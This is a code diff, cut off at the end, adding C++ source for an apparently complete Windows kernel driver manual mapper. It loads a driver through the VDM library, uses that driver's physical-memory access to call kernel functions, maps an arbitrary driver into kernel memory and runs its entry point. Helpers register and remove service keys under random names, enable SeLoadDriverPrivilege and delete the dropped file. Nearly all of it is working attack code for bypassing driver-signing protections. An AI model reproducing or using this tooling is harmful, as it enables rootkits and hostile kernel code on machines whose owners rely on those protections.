using mapper_routines_t = std::pair<kalloc_t, kmemcpy_t>;
|
||||||
|
using drv_buffer_t = std::vector<std::uint8_t>;
|
||||||
|
|
||||||
|
class hmdm_ctx
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
explicit hmdm_ctx(const mapper_routines_t& routines);
|
||||||
|
auto map_module(drv_buffer_t& drv_buffer, bool zero_headers = true) -> std::pair<image_base_t, image_entry_t>;
|
||||||
|
|
||||||
|
const kalloc_t kalloc;
|
||||||
|
const kmemcpy_t kmemcpy;
|
||||||
|
private:
|
||||||
|
auto resolve_imports(drv_buffer_t& drv_buffer) const -> void;
|
||||||
|
auto fix_relocs(drv_buffer_t& drv_buffer) const -> void;
|
||||||
|
};
|
||||||
|
}
|
After Width: | Height: | Size: 179 KiB |
@ -0,0 +1,3 @@
|
|||||||
|
// Icon Resource Definition
|
||||||
|
#define MAIN_ICON 102
|
||||||
|
MAIN_ICON ICON "icon.ico"
|
@ -0,0 +1,88 @@
|
|||||||
|
#include "hmdm_ctx.h"
|
||||||
|
#include "vdm_ctx/vdm_ctx.hpp"
|
||||||
|
|
||||||
|
int __cdecl main(int argc, char** argv)
|
||||||
|
{
|
||||||
|
if (argc < 2)
|
||||||
|
{
|
||||||
|
std::printf("> please provide a path to a driver...\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
const auto [drv_handle, drv_key, drv_status] = vdm::load_drv();
|
||||||
|
std::printf("> drv handle: 0x%x, drv key: %s, load status: 0x%x\n",
|
||||||
|
drv_handle, drv_key.c_str(), drv_status);
|
||||||
|
|
||||||
|
if (drv_status != STATUS_SUCCESS || drv_handle == INVALID_HANDLE_VALUE)
|
||||||
|
{
|
||||||
|
std::printf("> failed to load driver... reason -> 0x%x\n", drv_status);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// read physical memory using the driver...
|
||||||
|
vdm::read_phys_t _read_phys =
|
||||||
|
[&](void* addr, void* buffer, std::size_t size) -> bool
|
||||||
|
{
|
||||||
|
return vdm::read_phys(addr, buffer, size);
|
||||||
|
};
|
||||||
|
|
||||||
|
// write physical memory using the driver...
|
||||||
|
vdm::write_phys_t _write_phys =
|
||||||
|
[&](void* addr, void* buffer, std::size_t size) -> bool
|
||||||
|
{
|
||||||
|
return vdm::write_phys(addr, buffer, size);
|
||||||
|
};
|
||||||
|
|
||||||
|
// use VDM to syscall into ExAllocatePool...
|
||||||
|
vdm::vdm_ctx vdm(_read_phys, _write_phys);
|
||||||
|
drv::kalloc_t _kalloc = [&](std::size_t size) -> void*
|
||||||
|
{
|
||||||
|
using ex_alloc_pool_t =
|
||||||
|
void* (*)(std::uint32_t, std::uint32_t);
|
||||||
|
|
||||||
|
static const auto ex_alloc_pool =
|
||||||
|
reinterpret_cast<void*>(
|
||||||
|
utils::kmodule::get_export(
|
||||||
|
"ntoskrnl.exe", "ExAllocatePool"));
|
||||||
|
|
||||||
|
return vdm.syscall<ex_alloc_pool_t>(ex_alloc_pool, NULL, size);
|
||||||
|
};
|
||||||
|
|
||||||
|
// use VDM to syscall into memcpy exported by ntoskrnl.exe...
|
||||||
|
drv::kmemcpy_t _kmemcpy =
|
||||||
|
[&](void* dest, const void* src, std::size_t size) -> void*
|
||||||
|
{
|
||||||
|
static const auto kmemcpy =
|
||||||
|
reinterpret_cast<void*>(
|
||||||
|
utils::kmodule::get_export(
|
||||||
|
"ntoskrnl.exe", "memcpy"));
|
||||||
|
|
||||||
|
return vdm.syscall<decltype(&memcpy)>(kmemcpy, dest, src, size);
|
||||||
|
};
|
||||||
|
|
||||||
|
drv::drv_buffer_t drv_buffer;
|
||||||
|
utils::open_binary_file(argv[1], drv_buffer);
|
||||||
|
drv::hmdm_ctx drv_mapper({ _kalloc, _kmemcpy });
|
||||||
|
|
||||||
|
const auto [drv_base, drv_entry] = drv_mapper.map_module(drv_buffer);
|
||||||
|
std::printf("> driver base -> 0x%p, driver entry -> 0x%p\n", drv_base, drv_entry);
|
||||||
|
|
||||||
|
// call driver entry... its up to you to do this using whatever method...
|
||||||
|
// with VDM you can syscall into it... with msrexec you will use msrexec::exec...
|
||||||
|
const auto entry_result = vdm.syscall<NTSTATUS(*)(std::uintptr_t)>(
|
||||||
|
reinterpret_cast<void*>(drv_entry), drv_base);
|
||||||
|
|
||||||
|
std::printf("> entry result -> 0x%p\n", entry_result);
|
||||||
|
if (!drv_base || !drv_entry)
|
||||||
|
{
|
||||||
|
std::printf("> failed to map driver...\n");
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
const auto unload_status = vdm::unload_drv(drv_handle, drv_key);
|
||||||
|
if (unload_status != STATUS_SUCCESS)
|
||||||
|
{
|
||||||
|
std::printf("> failed to unload driver... reason -> 0x%x\n", unload_status);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,262 @@
|
|||||||
|
/*
|
||||||
|
MIT License
|
||||||
|
|
||||||
|
Copyright (c) 2020 xerox
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||||
|
of this software and associated documentation files (the "Software"), to deal
|
||||||
|
in the Software without restriction, including without limitation the rights
|
||||||
|
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||||
|
copies of the Software, and to permit persons to whom the Software is
|
||||||
|
furnished to do so, subject to the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be included in all
|
||||||
|
copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||||
|
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||||
|
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||||
|
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||||
|
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||||
|
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||||
|
SOFTWARE.
|
||||||
|
*/
|
||||||
|
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <Winternl.h>
|
||||||
|
#include <string>
|
||||||
|
#include <fstream>
|
||||||
|
#include <filesystem>
|
||||||
|
#include <ntstatus.h>
|
||||||
|
|
||||||
|
#pragma comment(lib, "ntdll.lib")
|
||||||
|
extern "C" NTSTATUS NtLoadDriver(PUNICODE_STRING);
|
||||||
|
extern "C" NTSTATUS NtUnloadDriver(PUNICODE_STRING);
|
||||||
|
|
||||||
|
namespace driver
|
||||||
|
{
|
||||||
|
namespace util
|
||||||
|
{
|
||||||
|
__forceinline auto delete_service_entry(const std::string& service_name) -> bool
|
||||||
|
{
|
||||||
|
HKEY reg_handle;
|
||||||
|
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||||
|
|
||||||
|
auto result = RegOpenKeyA(
|
||||||
|
HKEY_LOCAL_MACHINE,
|
||||||
|
reg_key.c_str(),
|
||||||
|
®_handle
|
||||||
|
);
|
||||||
|
|
||||||
|
return ERROR_SUCCESS == RegDeleteKeyA(reg_handle, service_name.data()) &&
|
||||||
|
ERROR_SUCCESS == RegCloseKey(reg_handle);;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto create_service_entry(const std::string& drv_path, const std::string& service_name) -> bool
|
||||||
|
{
|
||||||
|
HKEY reg_handle;
|
||||||
|
std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||||
|
reg_key += service_name;
|
||||||
|
|
||||||
|
auto result = RegCreateKeyA(
|
||||||
|
HKEY_LOCAL_MACHINE,
|
||||||
|
reg_key.c_str(),
|
||||||
|
®_handle
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
std::uint8_t type_value = 1;
|
||||||
|
result = RegSetValueExA(
|
||||||
|
reg_handle,
|
||||||
|
"Type",
|
||||||
|
NULL,
|
||||||
|
REG_DWORD,
|
||||||
|
&type_value,
|
||||||
|
4u
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
std::uint8_t error_control_value = 3;
|
||||||
|
result = RegSetValueExA(
|
||||||
|
reg_handle,
|
||||||
|
"ErrorControl",
|
||||||
|
NULL,
|
||||||
|
REG_DWORD,
|
||||||
|
&error_control_value,
|
||||||
|
4u
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
std::uint8_t start_value = 3;
|
||||||
|
result = RegSetValueExA(
|
||||||
|
reg_handle,
|
||||||
|
"Start",
|
||||||
|
NULL,
|
||||||
|
REG_DWORD,
|
||||||
|
&start_value,
|
||||||
|
4u
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
result = RegSetValueExA(
|
||||||
|
reg_handle,
|
||||||
|
"ImagePath",
|
||||||
|
NULL,
|
||||||
|
REG_SZ,
|
||||||
|
(std::uint8_t*) drv_path.c_str(),
|
||||||
|
drv_path.size()
|
||||||
|
);
|
||||||
|
|
||||||
|
if (result != ERROR_SUCCESS)
|
||||||
|
return false;
|
||||||
|
|
||||||
|
return ERROR_SUCCESS == RegCloseKey(reg_handle);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto enable_privilege(const std::wstring& privilege_name) -> bool
|
||||||
|
{
|
||||||
|
HANDLE token_handle = nullptr;
|
||||||
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &token_handle))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
LUID luid{};
|
||||||
|
if (!LookupPrivilegeValueW(nullptr, privilege_name.data(), &luid))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
TOKEN_PRIVILEGES token_state{};
|
||||||
|
token_state.PrivilegeCount = 1;
|
||||||
|
token_state.Privileges[0].Luid = luid;
|
||||||
|
token_state.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
||||||
|
|
||||||
|
if (!AdjustTokenPrivileges(token_handle, FALSE, &token_state, sizeof(TOKEN_PRIVILEGES), nullptr, nullptr))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
CloseHandle(token_handle);
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto get_service_image_path(const std::string& service_name) -> std::string
|
||||||
|
{
|
||||||
|
HKEY reg_handle;
|
||||||
|
DWORD bytes_read;
|
||||||
|
char image_path[0xFF];
|
||||||
|
static const std::string reg_key("System\\CurrentControlSet\\Services\\");
|
||||||
|
|
||||||
|
auto result = RegOpenKeyA(
|
||||||
|
HKEY_LOCAL_MACHINE,
|
||||||
|
reg_key.c_str(),
|
||||||
|
®_handle
|
||||||
|
);
|
||||||
|
|
||||||
|
result = RegGetValueA(
|
||||||
|
reg_handle,
|
||||||
|
service_name.c_str(),
|
||||||
|
"ImagePath",
|
||||||
|
REG_SZ,
|
||||||
|
NULL,
|
||||||
|
image_path,
|
||||||
|
&bytes_read
|
||||||
|
);
|
||||||
|
|
||||||
|
RegCloseKey(reg_handle);
|
||||||
|
return std::string(image_path);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto load(const std::string& drv_path, const std::string& service_name) -> NTSTATUS
|
||||||
|
{
|
||||||
|
if (!util::enable_privilege(L"SeLoadDriverPrivilege"))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
if (!util::create_service_entry("\\??\\" +
|
||||||
|
std::filesystem::absolute(std::filesystem::path(drv_path)).string(), service_name))
|
||||||
|
return false;
|
||||||
|
|
||||||
|
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
|
||||||
|
reg_path += service_name;
|
||||||
|
|
||||||
|
ANSI_STRING driver_rep_path_cstr;
|
||||||
|
UNICODE_STRING driver_reg_path_unicode;
|
||||||
|
|
||||||
|
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||||
|
RtlAnsiStringToUnicodeString(&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||||
|
return NtLoadDriver(&driver_reg_path_unicode);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto load(const std::vector<std::uint8_t>& drv_buffer) -> std::pair<NTSTATUS, std::string>
|
||||||
|
{
|
||||||
|
static const auto random_file_name = [](std::size_t length) -> std::string
|
||||||
|
{
|
||||||
|
std::srand(std::time(0));
|
||||||
|
static const auto randchar = []() -> char
|
||||||
|
{
|
||||||
|
const char charset[] =
|
||||||
|
"0123456789"
|
||||||
|
"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
|
||||||
|
"abcdefghijklmnopqrstuvwxyz";
|
||||||
|
const std::size_t max_index = (sizeof(charset) - 1);
|
||||||
|
return charset[rand() % max_index];
|
||||||
|
};
|
||||||
|
|
||||||
|
std::string str(length, 0);
|
||||||
|
std::generate_n(str.begin(), length, randchar);
|
||||||
|
return str;
|
||||||
|
};
|
||||||
|
|
||||||
|
const auto service_name = random_file_name(16);
|
||||||
|
const auto file_path = std::filesystem::temp_directory_path().string() + service_name;
|
||||||
|
std::ofstream output_file(file_path.c_str(), std::ios::binary);
|
||||||
|
|
||||||
|
output_file.write((char*)drv_buffer.data(), drv_buffer.size());
|
||||||
|
output_file.close();
|
||||||
|
|
||||||
|
return { load(file_path, service_name), service_name };
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto load(const std::uint8_t* buffer, const std::size_t size) -> std::pair<NTSTATUS, std::string>
|
||||||
|
{
|
||||||
|
std::vector<std::uint8_t> image(buffer, buffer + size);
|
||||||
|
return load(image);
|
||||||
|
}
|
||||||
|
|
||||||
|
__forceinline auto unload(const std::string& service_name) -> NTSTATUS
|
||||||
|
{
|
||||||
|
std::string reg_path("\\Registry\\Machine\\System\\CurrentControlSet\\Services\\");
|
||||||
|
reg_path += service_name;
|
||||||
|
|
||||||
|
ANSI_STRING driver_rep_path_cstr;
|
||||||
|
UNICODE_STRING driver_reg_path_unicode;
|
||||||
|
|
||||||
|
RtlInitAnsiString(&driver_rep_path_cstr, reg_path.c_str());
|
||||||
|
RtlAnsiStringToUnicodeString(
|
||||||
|
&driver_reg_path_unicode, &driver_rep_path_cstr, true);
|
||||||
|
|
||||||
|
const bool unload_result =
|
||||||
|
NtUnloadDriver(&driver_reg_path_unicode);
|
||||||
|
|
||||||
|
util::delete_service_entry(service_name);
|
||||||
|
// sometimes you cannot delete the driver off disk because there are still handles open
|
||||||
|
// to the driver, this means the driver is still loaded into the kernel...
|
||||||
|
try
|
||||||
|
{
|
||||||
|
std::filesystem::remove(
|
||||||
|
std::filesystem::temp_directory_path()
|
||||||
|
.string() + service_name);
|
||||||
|
}
|
||||||
|
catch (std::exception& e)
|
||||||
|
{
|
||||||
|
return STATUS_ABANDONED;
|
||||||
|
}
|
||||||
|
return unload_result;
|
||||||
|
}
|
||||||
|
}
|
@ -0,0 +1,479 @@
|
|||||||
|
/*
|
||||||
|
WARNING: utils.hpp must be the first file included...
|
||||||
|
this is because i use getenv and that requires _CRT_SECURE_NO_WARNINGS...
|
||||||
|
*/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
#define _CRT_SECURE_NO_WARNINGS
|
||||||
|
#pragma comment(lib, "ntdll.lib")
|
||||||
|
|
||||||
|
#include <Windows.h>
|
||||||
|
#include <winternl.h>
|
||||||
|
#include <ntstatus.h>
|
||||||
|
#include <tlhelp32.h>
|
||||||
|
|
||||||
|
#include <fstream>
|
||||||
|
#include <functional>
|
||||||
|
#include <cstdint>
|
||||||
|
#include <string>
|
||||||
|
#include <vector>
|
||||||
|
#include <map>
|
||||||
|
|
||||||
|
#define PAGE_4KB 0x1000
|
||||||
|
#define DBG_PRINT(format, ...) \
|
||||||
|
std::printf(format, __VA_ARGS__ )
|
||||||
|
|
||||||
|
typedef struct _RTL_PROCESS_MODULE_INFORMATION
|
||||||
|
{
|
||||||
|
HANDLE Section;
|
||||||
|
PVOID MappedBase;
|
||||||
|
PVOID ImageBase;
|
||||||
|
ULONG ImageSize;
|
||||||
|
ULONG Flags;
|
||||||
|
USHORT LoadOrderIndex;
|
||||||
|
USHORT InitOrderIndex;
|
||||||
|
USHORT LoadCount;
|
||||||
|
USHORT OffsetToFileName;
|
||||||
|
UCHAR FullPathName[256];
|
||||||
|
} RTL_PROCESS_MODULE_INFORMATION, * PRTL_PROCESS_MODULE_INFORMATION;
|
||||||
|
|
||||||
|
typedef struct _RTL_PROCESS_MODULES
|
||||||
|
{
|
||||||
|
ULONG NumberOfModules;
|
||||||
|
RTL_PROCESS_MODULE_INFORMATION Modules[1];
|
||||||
|
} RTL_PROCESS_MODULES, * PRTL_PROCESS_MODULES;
|
||||||
|
|
||||||
|
#define SystemKernelVaShadowInformation (SYSTEM_INFORMATION_CLASS) 196
|
||||||
|
typedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION
|
||||||
|
{
|
||||||
|
struct
|
||||||
|
{
|
||||||
|
ULONG KvaShadowEnabled : 1;
|
||||||
|
ULONG KvaShadowUserGlobal : 1;
|
||||||
|
ULONG KvaShadowPcid : 1;
|
||||||
|
ULONG KvaShadowInvpcid : 1;
|
||||||
|
ULONG KvaShadowRequired : 1;
|
||||||
|
ULONG KvaShadowRequiredAvailable : 1;
|
||||||
|
ULONG InvalidPteBit : 6;
|
||||||
|
ULONG L1DataCacheFlushSupported : 1;
|
||||||
|
ULONG L1TerminalFaultMitigationPresent : 1;
|
||||||
|
ULONG Reserved : 18;
|
||||||
|
} KvaShadowFlags;
|
||||||
|
} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, * PSYSTEM_KERNEL_VA_SHADOW_INFORMATION;
|
||||||
|
|
||||||
|
namespace utils
|
||||||
|
{
|
||||||
|
inline std::map<std::uintptr_t, std::size_t> pmem_ranges{};
|
||||||
|
__forceinline auto is_valid(std::uintptr_t addr) -> bool
|
||||||
|
{
|
||||||
|
for (auto range : pmem_ranges)
|
||||||
|
if (addr >= range.first && addr <= range.first + range.second)
|
||||||
|
return true;
|
||||||
|
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
|
||||||
|
#pragma pack (push, 1)
|
||||||
|
struct PhysicalMemoryPage//CM_PARTIAL_RESOURCE_DESCRIPTOR
|
||||||
|
{
|
||||||
|
uint8_t type;
|
||||||
|
uint8_t shareDisposition;
|
||||||
|
uint16_t flags;
|
||||||
|
uint64_t pBegin;
|
||||||
|
uint32_t sizeButNotExactly;
|
||||||
|
uint32_t pad;
|
||||||
|
|
||||||
|
static constexpr uint16_t cm_resource_memory_large_40{ 0x200 };
|
||||||
|
static constexpr uint16_t cm_resource_memory_large_48{ 0x400 };
|
||||||
|
static constexpr uint16_t cm_resource_memory_large_64{ 0x800 };
|
||||||
|
|
||||||
|
uint64_t size()const noexcept
|
||||||
|
{
|
||||||
|
if (flags & cm_resource_memory_large_40)
|
||||||
|
return uint64_t{ sizeButNotExactly } << 8;
|
||||||
|
else if (flags & cm_resource_memory_large_48)
|
||||||
|
return uint64_t{ sizeButNotExactly } << 16;
|
||||||
|
else if (flags & cm_resource_memory_large_64)
|
||||||
|
return uint64_t{ sizeButNotExactly } << 32;
|
||||||
|
else
|
||||||
|
return uint64_t{ sizeButNotExactly };
|
||||||
|
}
|
||||||
|
};
|
||||||
|
static_assert(sizeof(PhysicalMemoryPage) == 20);
|
||||||
|
#pragma pack (pop)
|
||||||
|
|
||||||
|
inline const auto init_ranges = ([&]() -> bool
|
||||||
|
{
|
||||||
|
HKEY h_key;
|
||||||
|
DWORD type, size;
|
||||||
|
LPBYTE data;
|
||||||
|
RegOpenKeyEx(HKEY_LOCAL_MACHINE, "HARDWARE\\RESOURCEMAP\\System Resources\\Physical Memory", 0, KEY_READ, &h_key);
|
||||||
|
RegQueryValueEx(h_key, ".Translated", NULL, &type, NULL, &size); //get size
|
||||||
|
data = new BYTE[size];
|
||||||
|
RegQueryValueEx(h_key, ".Translated", NULL, &type, data, &size);
|
||||||
|
DWORD count = *(DWORD*)(data + 16);
|
||||||
|
auto pmi = data + 24;
|
||||||
|
for (int dwIndex = 0; dwIndex < count; dwIndex++)
|
||||||
|
{
|
||||||
|
#if 0
|
||||||
|
pmem_ranges.emplace(*(uint64_t*)(pmi + 0), *(uint64_t*)(pmi + 8));
|
||||||
|
#else
|
||||||
|
const PhysicalMemoryPage& page{ *(PhysicalMemoryPage*)(pmi - 4) };
|
||||||
|
pmem_ranges.emplace(page.pBegin, page.size());
|
||||||
|
#endif
|
||||||
|
pmi += 20;
|
||||||
|
}
|
||||||
|
delete[] data;
|
||||||
|
RegCloseKey(h_key);
|
||||||
|
return true;
|
||||||
|
})();
|
||||||
|
|
||||||
|
inline std::uintptr_t scan(std::uintptr_t base, std::uint32_t size, const char* pattern, const char* mask)
|
||||||
|
{
|
||||||
|
static const auto check_mask =
|
||||||
|
[&](const char* base, const char* pattern, const char* mask) -> bool
|
||||||
|
{
|
||||||
|
for (; *mask; ++base, ++pattern, ++mask)
|
||||||
|
if (*mask == 'x' && *base != *pattern)
|
||||||
|
return false;
|
||||||
|
return true;
|
||||||
|
};
|
||||||
|
|
||||||
|
size -= strlen(mask);
|
||||||
|
for (auto i = 0; i <= size; ++i)
|
||||||
|
{
|
||||||
|
void* addr = (void*)&(((char*)base)[i]);
|
||||||
|
if (check_mask((char*)addr, pattern, mask))
|
||||||
|
return reinterpret_cast<std::uintptr_t>(addr);
|
||||||
|
}
|
||||||
|
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline void open_binary_file(const std::string& file, std::vector<uint8_t>& data)
|
||||||
|
{
|
||||||
|
std::ifstream fstr(file, std::ios::binary);
|
||||||
|
fstr.unsetf(std::ios::skipws);
|
||||||
|
fstr.seekg(0, std::ios::end);
|
||||||
|
|
||||||
|
const auto file_size = fstr.tellg();
|
||||||
|
|
||||||
|
fstr.seekg(NULL, std::ios::beg);
|
||||||
|
data.reserve(static_cast<uint32_t>(file_size));
|
||||||
|
data.insert(data.begin(), std::istream_iterator<uint8_t>(fstr), std::istream_iterator<uint8_t>());
|
||||||
|
}
|
||||||
|
|
||||||
|
inline std::uint32_t get_pid(const char* proc_name)
|
||||||
|
{
|
||||||
|
PROCESSENTRY32 proc_info;
|
||||||
|
proc_info.dwSize = sizeof(proc_info);
|
||||||
|
|
||||||
|
HANDLE proc_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
|
||||||
|
if (proc_snapshot == INVALID_HANDLE_VALUE)
|
||||||
|
return NULL;
|
||||||
|
|
||||||
|
Process32First(proc_snapshot, &proc_info);
|
||||||
|
if (!strcmp(proc_info.szExeFile, proc_name))
|
||||||
|
{
|
||||||
|
CloseHandle(proc_snapshot);
|
||||||
|
return proc_info.th32ProcessID;
|
||||||
|
}
|
||||||
|
|
||||||
|
while (Process32Next(proc_snapshot, &proc_info))
|
||||||
|
{
|
||||||
|
if (!strcmp(proc_info.szExeFile, proc_name))
|
||||||
|
{
|
||||||
|
CloseHandle(proc_snapshot);
|
||||||
|
return proc_info.th32ProcessID;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
CloseHandle(proc_snapshot);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
namespace kmodule
|
||||||
|
{
|
||||||
|
using kmodule_callback_t = std::function<bool(PRTL_PROCESS_MODULE_INFORMATION, const char*)>;
|
||||||
|
inline void each_module(kmodule_callback_t callback)
|
||||||
|
{
|
||||||
|
void* buffer = nullptr;
|
||||||
|
DWORD buffer_size = NULL;
|
||||||
|
|
||||||
|
auto status = NtQuerySystemInformation(
|
||||||
|
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||||
|
buffer, buffer_size, &buffer_size);
|
||||||
|
|
||||||
|
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
status = NtQuerySystemInformation(
|
||||||
|
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||||
|
buffer, buffer_size, &buffer_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status))
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||||
|
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||||
|
{
|
||||||
|
auto full_path = std::string(
|
||||||
|
reinterpret_cast<char*>(
|
||||||
|
modules->Modules[idx].FullPathName));
|
||||||
|
|
||||||
|
if (full_path.find("\\SystemRoot\\") != std::string::npos)
|
||||||
|
full_path.replace(full_path.find("\\SystemRoot\\"),
|
||||||
|
sizeof("\\SystemRoot\\") - 1, std::string(getenv("SYSTEMROOT")).append("\\"));
|
||||||
|
|
||||||
|
else if (full_path.find("\\??\\") != std::string::npos)
|
||||||
|
full_path.replace(full_path.find("\\??\\"),
|
||||||
|
sizeof("\\??\\") - 1, "");
|
||||||
|
|
||||||
|
if (!callback(&modules->Modules[idx], full_path.c_str()))
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline std::uintptr_t get_base(const char* module_name)
|
||||||
|
{
|
||||||
|
void* buffer = nullptr;
|
||||||
|
DWORD buffer_size = NULL;
|
||||||
|
|
||||||
|
auto status = NtQuerySystemInformation(
|
||||||
|
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||||
|
buffer, buffer_size, &buffer_size);
|
||||||
|
|
||||||
|
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
status = NtQuerySystemInformation(
|
||||||
|
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||||
|
buffer, buffer_size, &buffer_size);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status))
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||||
|
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||||
|
{
|
||||||
|
const auto current_module_name =
|
||||||
|
std::string(reinterpret_cast<char*>(
|
||||||
|
modules->Modules[idx].FullPathName) +
|
||||||
|
modules->Modules[idx].OffsetToFileName);
|
||||||
|
|
||||||
|
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||||
|
{
|
||||||
|
const auto result =
|
||||||
|
reinterpret_cast<std::uint64_t>(
|
||||||
|
modules->Modules[idx].ImageBase);
|
||||||
|
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return result;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
VirtualFree(buffer, NULL, MEM_RELEASE);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
inline std::uintptr_t get_export(const char* module_name, const char* export_name)
|
||||||
|
{
|
||||||
|
void* buffer = nullptr;
|
||||||
|
DWORD buffer_size = NULL;
|
||||||
|
|
||||||
|
NTSTATUS status = NtQuerySystemInformation(
|
||||||
|
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||||
|
buffer,
|
||||||
|
buffer_size,
|
||||||
|
&buffer_size
|
||||||
|
);
|
||||||
|
|
||||||
|
while (status == STATUS_INFO_LENGTH_MISMATCH)
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||||
|
buffer = VirtualAlloc(nullptr, buffer_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
||||||
|
status = NtQuerySystemInformation(
|
||||||
|
static_cast<SYSTEM_INFORMATION_CLASS>(0xB),
|
||||||
|
buffer,
|
||||||
|
buffer_size,
|
||||||
|
&buffer_size
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (!NT_SUCCESS(status))
|
||||||
|
{
|
||||||
|
VirtualFree(buffer, 0, MEM_RELEASE);
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
const auto modules = static_cast<PRTL_PROCESS_MODULES>(buffer);
|
||||||
|
for (auto idx = 0u; idx < modules->NumberOfModules; ++idx)
|
||||||
|
{
|
||||||
|
// find module and then load library it
|
||||||
|
const std::string current_module_name =
|
||||||
|
std::string(reinterpret_cast<char*>(
|
||||||
|
modules->Modules[idx].FullPathName) +
|
||||||
|
modules->Modules[idx].OffsetToFileName
|
||||||
|
);
|
||||||
|
|
||||||
|
if (!_stricmp(current_module_name.c_str(), module_name))
|
||||||
|
{
|
